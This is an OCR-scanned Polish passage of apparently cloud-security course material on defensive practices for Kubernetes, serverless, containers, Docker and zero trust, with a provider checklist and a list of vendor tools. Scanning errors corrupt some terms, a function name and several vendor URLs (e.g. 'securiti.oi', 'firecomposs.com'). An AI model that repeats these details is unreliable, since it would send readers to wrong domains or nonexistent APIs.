4. Ekspozycja wrazliwych danych poprzez zmienne srodowiskowe: Unikaj zbierania poufnych danych
bezposrednio ze zmiennych Srodowiskowych. ; Uzywaj sekretdw Kubernetes we wszystkich
komponentach systemu.

5. Sekrety w spoczynku nie s domyslnie szyfrowane : Zdefiniuj i udokumentuj konfiguracje wymagane
dla réznych pozioméw bezpieczenstwa.

6. Porownanie hasta w czasie innym niz staty: Uzyj bezpiecznej funkcji poréwnania w czasie statym,
np. crypto.subtle.ConstantTimeCompare. ; Odrzué¢ podstawowe mechanizmy uwierzytelniania dla
bezpiecznych opcji.

7. Zakodowane na state Sciezki poswiadczen: Zdefiniuj metode konfiguracji sciezek poswiadczen i
unikaj zakodowane na state Sciezki poswiadczen.; Zezwalaj na konfiguracje miedzyplatformowa
poprzez uogdlnienie sciezki.



8. Rotacja dziennikdw nie jest atomowa : Zaimplementuj techniki kopiowania, a nastepnie zmiany
nazwy, aby upewnic sie, ze dzienniki nie sg utracone podczas rotacji dziennika. ; Unikaj uzywania rotacji
dziennikow i wdrazaj trwate dzienniki, ktére dodajg dziennik dane liniowo i utwérz nowy dziennik za
kazdym razem, gdy nastgpi rotacja dziennika wymagana.

9. Brak procesu wycofywania dla planowania : Zaimplementuj proces wycofywania dla programu
kube-scheduler, aby zapobiec napietym petlom.

10. Nie Zaprzeczanie : Uzywaj dodatkowych mechanizmoéw rejestrowania dla procesow, ktére
wymagajg stricte niezaprzeczalnosci i audytu. ; Wszystkie zdarzenia uwierzytelniania powinny by¢
rejestrowane i mozliwe do odzyskania z centralnego potozenia w klastrze.

Bezserwerowe zagrozenia bezpieczenistwa i rozwigzania

Przetwarzanie bezserwerowe stato sie popularne dzieki swoim niezwyktym funkcjom, takim jak zerowa
administracja, ustuga typu pay-per-use i samoskalowalnosé. Chociaz technologia bezserwerowa ma
kilka zalet, wprowadzita rowniez nowe zagrozenia, ktére nalezy ograniczy¢. Wedtug OWASP w tabeli
omowiono 10 najwazniejszych zagrozen bezpieczenstwa i rozwigzan bezserwerowych.

Ryzyka: Rozwigzania
Al- Wstrzykniecie

Nie ufaj ani nie réb zadnych zatozen dotyczacych danych wejsciowych i ich waznosci z jakiegokolwiek
zrédta.

Implementuj bezpieczne APl i stosuj sparametryzowane interfejsy lub narzedzia do mapowania relacji
obiektowych.

Zaimplementuj biatg liste aplikacji tam, gdzie to konieczne.

Unikaj znakow specjalnych przy uzyciu okreslonej sktadni ucieczki w dynamicznych zapytaniach SQL.
Ocen wszystkie punkty wejscia i typy zdarzen w systemie.

Uruchom funkcje z najmniejszymi uprawnieniami niezbednymi do wykonania zadania.

Chron funkcje w stanie wykonania, korzystajgc z rozwigzan ochronnych w czasie wykonywania.

A2- Uszkodzone uwierzytelnianie

Korzystaj z rozwigzan do kontroli tozsamosci i dostepu zapewnianych przez chmure dostawcy ustug,
takich jak AWS Cognito, AWS Single Sign-On, Azure Active Directory B2C, Azure App Service i
uwierzytelnianie Google Firebase.

Zaimplementuj silne uwierzytelnianie i kontrole dostepu na zewnatrz zasobu.

Korzystaj z bezpiecznych metod uwierzytelniania ustug, takich jak Federated ldentity (SAML, OAuth2,
tokeny bezpieczenstwa itp.) do uwierzytelniania zasobu wewnetrznego.

A3 - Eekspozycja danych wrazliwych
Zidentyfikuj i sklasyfikuj dane wrazliwe.
Zminimalizuj przechowywanie wrazliwych danych; przechowywad tylko niezbedne dane.

Szyfruj dane zaréwno podczas przesytania, jak iw stanie spoczynku.



Zaimplementuj punkty koricowe FITTPS dla interfejsow API.

Korzystaj z ustug CSP do zarzadzania kluczami i szyfrowania przechowywanych danych, sekretow i
zmiennych Srodowiskowych do funkcji w czasie wykonywania i danych w tranzycie.

A4 - Jednostki zewnetrzne XML (XXE)

W miare mozliwosci nalezy uzywac wytgcznie zestawdw programistycznych dostawcy CSP.
Przeprowadzaj skanowanie pod katem luk w zabezpieczeniach bibliotek taricucha dostaw.
Testuj wywotania interfejsu APl pod katem luk w zabezpieczeniach XXE.

Zawsze wytaczaj rozpoznawanie jednostek.

A5- Naruszona kontrola dostepu

Przestrzegaj zasady najnizszych uprawnien podczas udzielania uprawnien do funkcji.
Przejrzyj kazdg funkcje, aby wykryé nadmiarowe uprawnienia.

Postepuj zgodnie z najlepszymi praktykami dostawcy ustug w chmurze, takimi jak AWS 1AM i
najlepszymi rozwigzaniami dotyczgcymi zarzadzania tozsamosciami platformy Azure.

A6- Btedna konfiguracja zabezpieczen

Skorzystaj z wbudowanych ustug dostawcy chmury, takich jak AWS Trust Advisor, aby zidentyfikowac
zasoby publiczne.

Wymus silng kontrole dostepu do zasobéw w chmurze.
Zidentyfikuj funkcje z niepowigzanymi wyzwalaczami.
Ustaw funkcje z wymaganym minimalnym limitem czasu.

Zastosuj zautomatyzowane narzedzia do wykrywania btednych konfiguracji zabezpieczern w aplikacji
bezserwerowej.

A7- Skrypty miedzywitrynowe (XSS)

Zaszyfruj wszystkie niezaufane dane przed przestaniem do klienta.

Uzywaj tylko frameworkow i nagtéwkéw dobrze znanych

A8 - Niebezpieczna deserializacja

Zapewnij walidacje serializowanych obiektdw pochodzacych z niezaufanych danych.
Skanuj biblioteki innych firm w poszukiwaniu luk w zabezpieczeniach deserializacji.
Monitoruj uzycie deserializacji i wyjatki, aby zidentyfikowac prawdopodobne ataki.
A9- Uzywanie komponentow ze znanymi lukami w zabezpieczeniach

Wykonuj ciggte monitorowanie bibliotek stron trzecich i zaleznosci.

Wdrazaj tylko podpisane pakiety i komponenty pochodzace z oficjalnych zrddet.

Stale sprawdzaj bazy danych luk w zabezpieczeniach, takie jak CVE i krajowa baza danych o lukach w
zabezpieczeniach.



Wykonaj skanowanie pod katem luk w zabezpieczeniach zaleznosci stron trzecich w poszukiwaniu
znanych luk w zabezpieczeniach za pomocga narzedzi takich jak OWASP Dependency Check i Toru
Zaleznosci.

A10 - Niewystarczajace rejestrowanie i monitorowanie

Zastosuj narzedzia do monitorowania CSP, takie jak Azure Monitor lub AWS CloudTrail do wykrywania
nietypowych zachowan.

Zastosuj mechanizmy audytu i monitorowania danych niepochodzgcych z CSP.
Najlepsze praktyki dotyczace bezpieczeristwa konteneréw
Ponizej omodwiono rézne najlepsze praktyki dotyczgce zabezpieczania Srodowiska konteneréw.

Regularnie monitoruj CVE srodowiska uruchomieniowego kontenera i koryguj, jesli zostang wykryte
luki w zabezpieczeniach.

Korzystaj z narzedzi uwzgledniajacych aplikacje, aby monitorowaé interfejsy sieciowe kontenerdw,
ruch sieciowy i anomalie sieciowe.

Skonfiguruj aplikacje tak, aby dziataty jako zwykli uzytkownicy, aby zapobiec eskalacji uprawnien.

Skonfiguruj gtéwny system plikdw hosta w trybie tylko do odczytu, aby ograniczy¢ dostep do zapisu i
zapobiec atakom polegajgcym na wstrzykiwaniu ztosliwego oprogramowania.

Unikaj korzystania z oprogramowania innych firm i stosuj narzedzia do skanowania aplikacji w celu
ochrony konteneréw przed ztosliwym oprogramowaniem.

Regularnie skanuj obrazy w repozytorium, aby zidentyfikowac luki w zabezpieczeniach lub btedne
konfiguracje.

Wdrazaj zapory aplikacji w celu zwiekszenia bezpieczerdstwa konteneréw i zapobiegania
przedostawaniu sie zagrozen do srodowiska.

Zapewnij uwierzytelniony dostep do rejestréw, w tym wrazliwych obrazéw i danych.

Uzyj oddzielnej bazy danych dla kazdej aplikacji, aby uzyska¢ lepszg widocznos$¢ poszczegdlnych
aplikacji i ulepszone zarzadzanie danymi.

Regularnie aktualizuj system operacyjny hosta i jadro do najnowszych poprawek bezpieczenstwa.

Skonfiguruj koordynatoréw do oddzielnego wdrazania zestawu hostéw na podstawie ich poziomu
czutosci.

Zautomatyzuj zgodnosc¢ ze standardami konfiguracji sSrodowiska uruchomieniowego kontenera.
Wykonuj ciggte monitorowanie obrazéw pod katem wbudowanego ztosliwego oprogramowania.
Przechowuj poufne dane na zewnatrz i zezwalaj na dynamiczny dostep w czasie wykonywania.

Utrzymuj zestaw zaufanych rejestréw i obrazéw i upewnij sie, ze tylko obrazy z tego zestawu mogg by¢
uruchamiane w Srodowisku kontenera.

Uzywaj obowigzkowych narzedzi kontroli dostepu, takich jak SELinux i AppArmor, aby zapobiegac
atakom na aplikacje i ustugi systemowe.



Zastosuj rozwigzania do wykrywania zagrozen w czasie rzeczywistym i opracuj mozliwosci reagowania
na incydenty w celu obstugi incydentéw bezpieczeristwa.

Zaimplementuj niezmienne kontenery, ktdre uniemozliwiajg modyfikacje kontenera po wdrozeniu.

Zmienn domyslne uprawnienia uzytkownikéw z roota na uzytkownika innego niz root i skonfiguruj
uprawnienia za pomocg kontroli dostepu opartej na rolach (RBAC).

Unikaj zapisywania poufnych informacji w kodzie i plikach konfiguracyjnych
Wzmocnij Srodowisko hosta, usuwajgc niekrytyczne ustugi natywne. Utwardz rowniez caty stos.
Zawsze staraj sie, aby pojemniki byty lekkie, zmniejszajgc liczbe komponentow.

Wykorzystaj infrastrukture jako kod (LAC) do zarzadzania zasobami w chmurze i weryfikacji konfiguracji
przed wdrozeniem.

Najlepsze praktyki dotyczace bezpieczenstwa platformy Docker
Ponizej omowiono rézne najlepsze praktyki dotyczgce zabezpieczania Srodowiska Docker.

Unikaj ujawniania gniazda demona Dockera, poniewaz jest to podstawowy punkt wejscia dla interfejsu
API platformy Docker.

Uzywaj tylko zaufanych obrazéw Docker, poniewaz obrazy Docker utworzone przez ztosliwych
uzytkownikdw mogg zostaé wstrzykniete przez backdoory.

Regularnie aktualizuj system operacyjny hosta i platforme Docker za pomocg najnowszych aktualizacji
zabezpieczen.

Ogranicz mozliwosci, zezwalajgc na dostep tylko do funkcji wymaganych przez kontener. Mozesz uzy¢
polecenia —cap-drop all, aby usung¢ wszystkie mozliwosci przypisane do kontenera, a nastepnie
przypisac tylko te, ktore sg niezbedne.

Zawsze uruchamiaj obrazy platformy Docker z opcjg --security-opt=no-new-privileges, aby zapobiec
atakom polegajgcym na eskalacji uprawnien przy uzyciu plikéw binarnych setuid lub setgid.

Wytacz funkcje komunikacji miedzy kontenerami podczas uruchamiania demona Dockera, uzywajac —
icc=false. Aby komunikowa¢ sie z innymi kontenerami, mozesz uzy¢ opcji --
link=CONTAINER_NAME_or_ID:ALIAS

Uzyj modutow bezpieczenstwa systemu Linux, takich jak seccomp, AppArmor i SELinux, aby uzyskac
precyzyjng kontrole nad procesami.

Ogranicz zasoby, takie jak pamieé, procesor, maksymalng liczbe deskryptoréw plikéw, maksymalng
liczbe proceséw i ponownych uruchomien, aby zapobiec atakom DoS.

Wiacz tryb tylko do odczytu w systemach plikdw i woluminach, ustawiajgc flage —tylko do odczytu.

Ustaw poziom dziennika demona Docker na ,informacje” i unikaj uruchamiania demona Docker przy
uzyciu poziomu dziennika ,, debugowania”.

Domyslne ustawienie uzytkownika dla obrazu platformy Docker to root; skonfiguruj aplikacje
kontenera tak, aby dziatata jako uzytkownik nieuprzywilejowany, aby zapobiec atakom polegajgcym na
eskalacji uprawnien.

Instaluj tylko niezbedne pakiety, aby zmniejszy¢ powierzchnie ataku.



Sprawdz, czy obrazy platformy Docker ze zdalnego rejestru sg podpisane cyfrowo przy uzyciu zaufania
zawartosci platformy Docker.

Unikaj uzywania zmiennych srodowiskowych do poufnych informacji i uzywaj zarzadzania tajemnicami
Dockera do szyfrowania tajnych informacji podczas przesytania.

Zabezpiecz punkty koncowe interfejsu APl za pomocg protokotu HTTPS podczas udostepniania
interfejsu API RESTful.

Unikaj korzystania z domysinej sieci mostkowej podczas korzystania z aplikacji z jednym hostem z
obstugg sieci.

Zawsze przechowuj poufne dane w woluminach Docker, aby zwiekszyé bezpieczenstwo danych,
trwatos$¢ danych i szyfrowanie danych.

Ustanowienie podstawowego uwierzytelniania poprzez wtgczenie protokotu TLS w celu zapewnienia
bezpiecznej komunikacji za posrednictwem protokotu HTTPS miedzy klientem platformy Docker a
demonem.

Uzyj narzedzi, takich jak InSpec i DevSec, aby wykry¢ luki w Dockerze.

Ogranicz potaczenia logowania SSH do administratora w celu przetwarzania plikdw dziennika
konteneréw podczas wykonywania operacji administracyjnych, takich jak testowanie i rozwigzywanie
problemdw.

Zastosuj zautomatyzowany mechanizm etykietowania pojemnikdéw, aby unikngé rozbieznosci podczas
uzyskiwania dostepu do pojemnikdw.

Witacz polecenie HEALTHCHECK do plikdw dokera, jesli to mozliwe, aby zapewni¢ lepszg kondycje i
bezpieczenstwo plikow.

Najlepsze praktyki dotyczace bezpieczeristwa Kubernetes
Ponizej omdwiono rézne najlepsze praktyki dotyczgce zabezpieczania srodowiska Kubernetes.
Zapewnij odpowiednig walidacje zawartosci plikdw i ich $ciezki na kazdym etapie przetwarzania.

Zaimplementuj metode konfiguracji Sciezek poswiadczen i nie polegaj na sciezkach zakodowanych na
state.

Zgtaszaj jawnie btedy po kazdym kroku operacji ztozonej.

Uzyj metody kopiowania, a nastepnie zmient nazwe do rotacji dziennikow, aby upewnic sie, ze dzienniki
nie zostang utracone podczas ponownego uruchamiania kubelet.

Uzyj dobrze przetestowanej biblioteki JSON i struktur typdw do konstruowania obiektow JSON.

Nigdy nie uzywaj ztozonych polecen powtoki bez odpowiednich walidacji, poniewaz wptywajg one na
stan systemu.

Sprawdz jawnie zwrdcong warto$¢ btedu os.Readlink /proc/<pid>/exe, aby okresli¢, czy PID jest
procesem jgdra.

Uzywaj scentralizowanych bibliotek do wykonywania typowych zadan i uzywaj typowych funkgcji
analizowania, takich jak ParsePort, w catej bazie kodu, aby zwiekszy¢ czytelnosé kodu.



Uzywaj trwatych dziennikdw zamiast rotacji dziennikéw, aby dzienniki mogty by¢ zapisywane w
porzadku liniowym i aby mozna byto tworzy¢ nowe dzienniki, gdy wymagana jest rotacja.

Uzywaj jednego formatu kodowania dla wszystkich zadan konfiguracyjnych, poniewaz obstuguje on
scentralizowang weryfikacje.

Ogranicz rozmiar plikdw manifestu, aby zapobiec btedom braku pamieci w kubelet.
Uzyj instancji kube-apiserver, ktére przechowuja listy CRL, aby sprawdzi¢ prezentowane certyfikaty.

Korzystaj z ustug zarzadzania kluczami, aby umozliwi¢ szyfrowanie tajnych danych i unikaj uzywania
trybu AESGalois/Counter lub taricuchéw blokéw szyfrowania do szyfrowania.

Domyslnie uwierzytelniaj wszystkie potgczenia HTTPS, aby zapewni¢ wystawianie certyfikatéw przez
urzad certyfikacji i zapobiega¢ atakom MUM.

Unikaj korzystania ze starszych tuneli SSH, poniewaz nie przeprowadzajg one prawidtowej weryfikacji
adresoéw IP serweroéw.

Uzyj zszywania protokotu stanu certyfikatu online (OSCP), aby sprawdzi¢ stan uniewaznienia
certyfikatéw.

Uzywaj domyslnie bezpiecznego protokotu TLS w konfiguracjach programistycznych i produkcyjnych,
aby zmniejszy¢ luki w zabezpieczeniach spowodowane btedna konfiguracja.

Uzywaj list ACL do zarzadzania uprawnieniami dostepu do plikdw i zapobiegania nieautoryzowanemu
dostepowi.

Uzyj filtrowania dziennikdw, aby usung¢ podstawowe uwierzytelnianie, takie jak tokeny okaziciela i
inne poufne informacje, z danych dziennika.

Najlepsze praktyki dotyczgce zabezpieczen bezserwerowych

Ponizej omdéwiono rézne najlepsze praktyki dotyczgce zabezpieczania bezserwerowego srodowiska
komputerowego.

Zminimalizuj uprawnienia bezserwerowe w fazie programowania, aby zmniejszy¢ powierzchnie ataku.

Regularnie monitoruj warstwy funkcyjne, aby identyfikowad préby wstrzykniecia ztosliwego koduiinne
ataki na serwer WWW.

Korzystaj z narzedzi bezpieczenstwa innych firm, poniewaz zapewniajg one dodatkowe warstwy
widocznosci i kontroli.

Regularnie tataj i aktualizuj zalezno$ci funkcji i aplikacje.

Uzywaj narzedzi, takich jak Snyk, do skanowania aplikacji bezserwerowych w poszukiwaniu znanych
luk w zabezpieczeniach.

Zachowaj izolowane granice funkcji i unikaj polegania na dostepie do funkcji i kolejnosci wywotan.

Odpowiednio oczyszczaj dane wejsciowe zdarzen, aby zapobiec atakom polegajacym na wstrzykiwaniu
kodu.

Korzystaj z bibliotek bezpieczeristwa, ktore wytaczajg dostep do zasobdw i implementuj minimalne
uprawnienia w czasie wykonywania.



Wdrazaj funkcje z minimalng szczegétowoscia, aby zminimalizowaé poziom szczegétowosci i zapobiec
niejawnym rolom globalnym.

Zastosuj technike sprawdzania poprawnosci danych w schematach i obiektach przesytania danych
zamiast serializacji i deserializacji danych.

Wykorzystaj mozliwosci bramy interfejsu API do filtrowania danych wejsciowych, ograniczania ruchu i
szybkosci oraz ochrony przed atakami DDoS.

Kontroluj i monitoruj funkcje, wymuszajac petne i bezpieczne rejestrowanie zdarzen funkcji, aby
uzyskaé lepszg obserwowalnos¢.

Korzystaj z bezpiecznych praktyk kodowania i przeprowadzaj sesje przeglagdu kodu, aby zatatac
wrazliwe kody aplikacji; dodatkowo uzyj wspétdzielonych bibliotek bezpieczenstwa.

Uzywaj TLS/HTTPS do bezpiecznej komunikacji i uzywaj algorytmow kryptograficznych do szyfrowania
poswiadczen.

Zweryfikuj certyfikaty SSL, aby rozpozna¢ komunikacje ze zdalng tozsamoscig i upewnij sie, ze
komunikacja zostanie zatrzymana, jesli weryfikacja sie nie powiedzie.

WHtacz podpisane zgdania dla dostawcéw chmury, aby chronié przesytane dane i zapobiegac atakom
HTTP Replay.

Uzywaj tajnego magazynu do przechowywania poufnych informacji, ktéry zapewnia zaréwno dostep
w czasie wykonywania, jak i rotacje kluczy w celu ochrony.

Uzyj limitow czasu, aby ograniczy¢ czas wykonywania funkcji bezserwerowych.
Sieci zerowego zaufania

Model Zero Trust to implementacja zabezpieczen, ktéra domyslnie zaktada, ze kazdy uzytkownik
prébujacy uzyskaé dostep do sieci nie jest zaufanym podmiotem i weryfikuje kazde potgczenie
przychodzace przed zezwoleniem na dostep do sieci. Scisle przestrzega zasady: ,Nikomu nie ufaj i
sprawdzaj poprawnos¢ przed udostepnieniem ustugi w chmurze lub przyznaniem pozwolenia na
dostep”. Nie oznacza to, ze pracownicy firmy wyrzadziliby krzywde, ale sie¢ moze zosta¢ naruszona lub
osoba prébujaca korzystaé z sieci moze nie by¢ godna zaufania. Ten model zaufania uniemozliwia
uzytkownikom/pracownikom dostep do sieci bez weryfikacji. Pozwala réwniez firmom narzucaé
warunki, takie jak zezwalanie pracownikom na dostep tylko do odpowiednich zasobéw wymaganych
do ich roli zawodowe;.

Reprezentacja sieci Zero Trust

Jak pokazano na rysunku, ptaszczyzna kontroli chmury jest systemem pomocniczym, ktory koordynuje
i zarzadza ptaszczyzng danych (kazdym innym komponentem w sieci). Ptaszczyzna kontroli zezwala na
zadania dostepu do sieci tylko od legalnych i zweryfikowanych uzytkownikéw lub urzadzen.
Szczegbétowe zasady sg stosowane w tej warstwie na podstawie roli w organizacji, pory dnia i typu
urzadzenia. Aby uzyska¢ dostep do lepiej zabezpieczonych zasobdw internetowych, uzytkownicy
potrzebuja silniejszego uwierzytelniania. Po zatwierdzeniu zgdania dostepu przez panel sterowania
ptaszczyzna danych jest konfigurowana tak, aby akceptowacd ruch tylko od tego konkretnego klienta.
Ideg wdrozenia tego modelu jest zapewnienie bezpiecznego sposobu dostepu do zasobodw,
wymuszenie Scistej kontroli dostepu oraz monitorowanie przeptywu ruchu w sieci. Zero Trust mozna
zintegrowac z technikami takimi jak szyfrowanie, uwierzytelnianie wielosktadnikowe, zarzadzanie
dostepem uprzywilejowanym (PAM). Ta sie¢ zaufania dziata zgodnie z metodg mikrosegmentacji, aby



podzieli¢ strefe sieci na mniejsze czesci, aby zapewni¢ oddzielny dostep do niektdrych czesci sieci. W
przypadku wykrycia jakiegokolwiek naruszenia obwodu mikrosegmentacja zapobiega dalszej
eksploatacji sieci.

Lista kontrolna zgodnosci organizacji/dostawcy z zabezpieczeniami chmury

Ponizsze tabele zawierajg listy kontrolne umozliwiajagce okreslenie, czy zespét ds. bezpieczenstwa,
reszta organizacji i kazdy proponowany dostawca ustug w chmurze mogg zapewnié¢ bezpieczenstwo w
chmurze.

Listy kontrolne pozwalajace okresli¢, czy dostawca CSP jest odpowiedni i gotowy na zabezpieczenia w
chmurze:

Czy cztonkowie zespotu ds. bezpieczenstwa sg formalnie przeszkoleni w zakresie technologii
chmurowych?

Czy zasady bezpieczeristwa organizacji uwzgledniajg infrastrukture chmurowg?

Czy zespdt ds. bezpieczenstwa byt kiedykolwiek zaangazowany we wdrazanie infrastruktury
chmurowej?

Czy organizacja zdefiniowata procedury oceny bezpieczenstwa dla infrastruktury chmurowe;j?
Czy kiedykolwiek skontrolowano organizacje pod katem zagrozen bezpieczeistwa w chmurze?

Czy wdrozenie chmury w organizacji bedzie zgodne ze standardami bezpieczenistwa, ktdrych
przestrzega organizacja?

Czy zarzadzanie bezpieczenstwem zostato dostosowane tak, aby obejmowato chmure?
Czy zesp6t ma odpowiednie zasoby do wdrozenia infrastruktury chmury i bezpieczeristwa?

Czy dostawcy zapewniajg raporty dotyczace zgodnosci z przepisami, raporty z audytéw i informacje
dotyczace raportowania?

Czy zasady i procedury organizacji dotyczace obstugi incydentdw i ciggtosci dziatania zostaty
zaprojektowane z uwzglednieniem kwestii bezpieczeistwa w chmurze?

Czy organizacja ma dostep do raportéw zgodnosci i audytu dostawcy ustug w chmurze?

Czy umowa SLA CSP dotyczy obstugi incydentéw i probleméw zwigzanych z ciggtoscig biznesowa?

Czy CSP ma jasne zasady i procedury postepowania z dowodami cyfrowymi w infrastrukturze chmury?
Czy sam CSP jest zgodny ze standardami branzowymi?

Czy CSP dysponuje wykwalifikowanym i wystarczajgcym personelem do rozwigzywania incydentdw i
zarzadzania konfiguracjg?

Czy CSP zdefiniowat procedury wspierajgce organizacje w przypadku incydentéw w Srodowisku
wielodostepnym?

Czy korzystanie z dostawcy ustug w chmurze daje organizacji przewage srodowiskowg?

Czy organizacja wie, w ktérej aplikacji lub bazie danych kazda jednostka danych jest przechowywana
lub zarzadzana?



Czy aplikacja oparta na chmurze jest utrzymywana i odporna na awarie (tj. czy odzyska sprawnos¢ po
awarii wewnetrznej lub zewnetrznej)?

Czy caty personel jest odpowiednio weryfikowany, monitorowany i nadzorowany?
Czy CSP zapewnia elastycznosc¢ relokacji i przetgczania ustug?

Czy CSP wdrozyt kontrole bezpieczenstwa obwodowego (np. IDS, zapory ogniowe) i czy regularnie
dostarcza organizacji dzienniki aktywnosci?

Czy CSP zapewnia wystarczajgcg gwarancje jakosci lub dostepnosci ustugi?

Czy tatwo jest bezpiecznie zintegrowac aplikacje oparte na chmurze w czasie wykonywania i po
zakonczeniu umowy?

Czy CSP zapewnia wsparcie 24/7 w zakresie operacji w chmurze i problemdéw zwigzanych z
bezpieczernstwem?

Czy procesy zakupowe zawierajg wymagania dotyczgce bezpieczestwa w chmurze?

Czy CSP czesto przeprowadza oceny podatnosci na ataki w celu zidentyfikowania luk w
zabezpieczeniach i zastosowania niezbednych poprawek?

Czy istniejg odpowiednie mechanizmy kontroli dostepu (np. federacyjne pojedyncze logowanie), ktére
zapewniajg uzytkownikom kontrolowany dostep do aplikacji w chmurze?

Czy zachowana jest separacja danych miedzy organizacja a informacjami o kliencie w czasie
wykonywania i podczas tworzenia kopii zapasowej (w tym usuwania danych)?

Czy organizacja rozwazyta i zaadresowata tworzenie kopii zapasowych, odzyskiwanie, archiwizacje i
likwidacje danych przechowywanych w srodowisku chmurowym?

Czy istnieja mechanizmy uwierzytelniania, autoryzacji i zarzadzania kluczami w srodowisku
chmurowym?

Czy istniejg mechanizmy zarzadzania przecigzeniem sieci, nieprawidtowym pofaczeniem, btedng
konfiguracjg, brakiem izolacji zasobdw itp., ktére wptywajg na ustugi i bezpieczenstwo?

Czy organizacja wdrozyta wystarczajgce srodki kontroli bezpieczenstwa na urzadzeniach klienckich
uzywanych do uzyskiwania dostepu do chmury?

Czy wszystkie systemy, infrastruktura i lokalizacje w chmurze sg odpowiednio chronione?
Czy projekty sieci sg odpowiednio bezpieczne dla strategii wdrazania chmury w organizac;ji?
Czy wszyscy sg Swiadomi swoich obowigzkdw zwigzanych z bezpieczenstwem w chmurze?
Czy istnieje mechanizm oceny bezpieczeristwa ustugi w chmurze?

Czy tad biznesowy tagodzi zagrozenia bezpieczenistwa, ktére mogg wynikac¢ z opartego na chmurze
,cienia IT”?

Czy organizacja wie, w jakich jurysdykcjach mogg znajdowac sie jej dane?
Czy istnieje mechanizm zarzadzania ryzykiem zwigzanym z chmurg?

Czy organizacja rozumie architekture danych potrzebng do dziatania z odpowiednimi zabezpieczeniami
na wszystkich poziomach?



Czy organizacja moze by¢ pewna ciggtosci ustug typu end-to-end u kilku dostawcéw ustug w chmurze?

Czy dostawca przestrzega wszystkich odpowiednich norm branzowych (np. brytyjskiej ustawy o
ochronie danych)?

Czy funkcja ds. zgodnosci rozumie okreslone kwestie regulacyjne zwigzane z przyjeciem przez
organizacje ustug w chmurze?

Miedzynarodowe organizacje zajmujace sie bezpieczeristwem w chmurze

Niektére miedzynarodowe organizacje zajmujace sie bezpieczedstwem w chmurze pomagaja
specjalistom ds. bezpieczenstwa w zakresie najlepszych praktyk, swiadomosci bezpieczenistwa i
solidnych zasad bezpieczenstwa, ktdre zapewniajg lepszg odpornosé na cyberbezpieczenstwo i zaufany
ekosystem chmury. Ponizej omdwiono miedzynarodowa organizacje, ktdra ostrzega i instruuje branze
i specjalistow ds.

Sojusz bezpieczeristwa w chmurze (CSA)

CSA to globalna organizacja non-profit, ktdra zwieksza swiadomos¢ i promuje najlepsze praktyki i
zasady bezpieczenstwa, aby pomadc i zabezpieczy¢ srodowisko chmurowe. CSA zapewnia edukacje i
wiedze na temat zastosowan przetwarzania w chmurze oraz pomaga w zabezpieczaniu wszelkich form
przetwarzania. CSA mozna wykorzysta¢ do potgczenia wiedzy branzowej, rzadow i cztonkdéw korporacji
w celu zapewnienia badan, edukacji, certyfikacji i produktow opartych na chmurze.

Narzedzia bezpieczenstwa w chmurze

Chociaz migracja do chmury przynosi ogromne korzysci, gtdwnym powodem do niepokoju sg kwestie
bezpieczenstwa. Jednak wiele dostepnych ustug lub narzedzi bezpieczeristwa mozna wykorzysta¢ do
zautomatyzowania procesu testowania piér w chmurze w celu zapewnienia poufnosci, integralnosci i
bezpieczenstwa danych hostowanych w chmurze.

Narzedzia do wykrywania zasobéw Shadow Cloud

Zasoby w chmurze cieni to aplikacje lub ustugi w chmurze uzywane w srodowisku korporacyjnym poza
obserwacjg dziatu IT. Takie zasoby mogg zwiekszaé czynniki ryzyka, takie jak utrata danych, naduzycie
konta oraz infekcja/dystrybucja ztosliwego oprogramowania. Aby przezwyciezy¢ te problemy z
bezpieczenstwem, organizacja moze korzystac z narzedzi, takich jak Cisco Umbrella, Securiti i Microsoft
Defender for Cloud Apps, ktére zapewniajg petny wglad w wykorzystanie aplikacji. Narzedzia te
umozliwiajg administratorom monitorowanie i audyt dziatan sieciowych w sieci chmurowej organizacji.

Cisco Umbrella

Cisco Umbrella to narzedzie do wykrywania aplikacji, ktére zapewnia petng widocznosc¢ i informacje o
ryzyku w celu zarzadzania aplikacjami w chmurze w bezpieczny i zorganizowany sposéb. Pulpit
nawigacyjny wyswietla poziom ryzyka ustug chmury w tle i zapewnia podsumowanie na podstawie
kategorii aplikacji, ktore sg posortowane wedtug poziomdw ryzyka. Zawiera liste aplikacji z etykietami,
takimi jak Niesprawdzone, W trakcie audytu, Zatwierdzone i Niezatwierdzone do $ledzenia. Pozwala
takze administratorom blokowac¢ lub zezwala¢ na dostep uzytkownika lub grupy do aplikacji w
chmurze.

Dodatkowe narzedzia do wykrywania zasobdw chmury w tle obejmuja:
Securiti (https://securiti.oi)

Microsoft Defender for Cloud Apps (https://docs.microsoft.com)



FireCompass ( https://www.firecomposs.com)

Data Theorem ( https://www.dotatheorem.com)

CloudCodes ( https://www.cloudcodes.com)

Narzedzia bezpieczenstwa w chmurze

Niektére narzedzia do zabezpieczania srodowiska w chmurze obejmuja:
Qualys Cloud Platform

Qualys Cloud Platform to kompleksowe rozwigzanie w zakresie bezpieczenstwa IT, ktére zapewnia
ciggty, zawsze aktualng ocene globalnego stanu bezpieczenstwa i zgodnosci, z widocznoscig wszystkich
zasobow IT niezaleznie od tego, gdzie sie znajdujg. Zawiera czujniki, ktére zapewniajg ciggta
widocznos¢, a wszystkie dane w chmurze moga by¢ analizowane w czasie rzeczywistym. Natychmiast
reaguje na zagrozenia, wykrywa aktywne luki w zabezpieczeniach internetowego protokotu
komunikatéw kontrolnych, zgdajac znacznika czasu i wizualizuje wyniki w jednym miejscu za pomoca
AssetView.

Fidelis CloudPassage Halo

Fidelis Halo zapewnia kompleksowy wglad w zabezpieczenia i ciggtg zgodnos¢ infrastruktury chmury
publicznej. Jest to platforma automatyzacji zabezpieczen, ktéra zapewnia kompleksowg widocznos,
ochrone i ciggte monitorowanie zgodnosci w celu zmniejszenia zagrozen bezpieczenstwa
cybernetycznego. Zapewnia takie funkcje, jak wykrywanie wszystkich zasobdw w chmurze,
zmniejszanie powierzchni atakéw w chmurze publicznej, identyfikowanie krytycznych zagrozen i
utrzymywanie ciggtej zgodnosci.

Lookout CipherCloud

Rozwigzania Lookout CipherCloud obejmujg kilka rozwijajgcych sie kategorii bezpiecznych ustug
dostepu brzegowego (SASE), w tym CASB, dostep do sieci o zerowym zaufaniu (ZTNA), bezpieczng
brame sieciowg (SWG) i zapobieganie utracie danych (DLP). Razem te rozwigzania zapewniajg
wszechstronng widocznosé, bezpieczeristwo danych, ochrone przed zagrozeniami i zgodnos¢ dla
aplikacji opartych na chmurze.

Dodatkowe narzedzia bezpieczeristwa w chmurze obejmuja:
Data-Aware Cloud Security (https://www.skyhighsecurity.com)
Netskope Security Cloud (https://www.netskope.com)

Prisma Cloud (https://www.paloaltonetworks.com)

ForgeRock Identity Cloud (https://www.forgerock.com)

Deep Security ( https://www.trendmicro.com)

